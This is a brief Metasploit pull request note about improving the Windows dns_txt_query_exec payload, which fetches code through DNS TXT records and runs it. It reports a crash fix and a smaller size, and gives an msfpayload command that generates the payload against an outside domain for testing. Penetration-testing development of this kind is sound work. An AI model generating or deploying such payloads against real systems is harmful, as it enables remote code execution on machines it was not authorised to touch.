rapid7/metasploit-framework — pull request #1057 by corelanc0d3r (2012-11-12 23:58:15+00:00)
Title: Improved payload dns_txt_query_exec

Fixed a possible payload crash on XP and Win7.
(did not test if patch works on other OSes)

Made payload a few bytes smaller

To test, feel free to run the setup at corelan.eu:

```./msfpayload windows/dns_txt_query_exec DNSZONE=corelan.eu C```

(you should get a messagebox)